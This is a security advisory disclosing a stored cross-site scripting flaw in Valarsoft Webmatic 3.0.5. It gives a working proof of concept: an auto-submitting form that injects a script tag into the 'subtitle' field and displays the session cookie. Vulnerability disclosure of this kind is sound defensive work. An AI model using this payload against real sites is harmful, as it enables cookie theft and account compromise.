Vulnerability ID: HTB22569 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_webmatic_1.html Product: Webmatic Vendor: Valarsoft ( http://www.valarsoft.com/ ) Vulnerable Version: 3.0.5 and Probably Prior Versions Vendor Notification: 09 August 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the page editing script to properly sanitize user-supplied input in "subtitle" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/index.php" method="post" name="main" > <input type="hidden" name="title" value="pagetest" /> <input type="hidden" name="subtitle" value='some subtitle and"><script>alert(document.cookie)</script>' /> <input type="hidden" name="enabled" value="1" /> <input type="hidden" name="categoryID" value="1" /> <input type="hidden" name="page_type" value="1" /> <input type="hidden" name="visibility" value="1" /> <input type="hidden" name="groupID" value="1" /> <input type="hidden" name="backID" value="0" /> <input type="hidden" name="left_panels_enabled" value="1" /> <input type="hidden" name="right_panels_enabled" value="1" /> <input type="hidden" name="render_mode" value="2" /> <input type="hidden" name="head" value="" /> <input type="hidden" name="body" value="" /> <input type="hidden" name="hr_width" value="100" /> <input type="hidden" name="hr_size" value="1" /> <input type="hidden" name="hr_align" value="0" /> <input type="hidden" name="img_picture" value="1.gif" /> <input type="hidden" name="img_border" value="0" /> <input type="hidden" name="a_link" value="1" /> <input type="hidden" name="a_url" value="" /> <input type="hidden" name="a_text" value="" /> <input type="hidden" name="foot" value="" /> <input type="hidden" name="send" value="Save" /> <input type="hidden" name="stage" value="2" /> <input type="hidden" name="section" value="14" /> <input type="hidden" name="action" value="216" /> <input type="hidden" name="pageID" value="2" /> </form> <script> document.main.submit(); </script>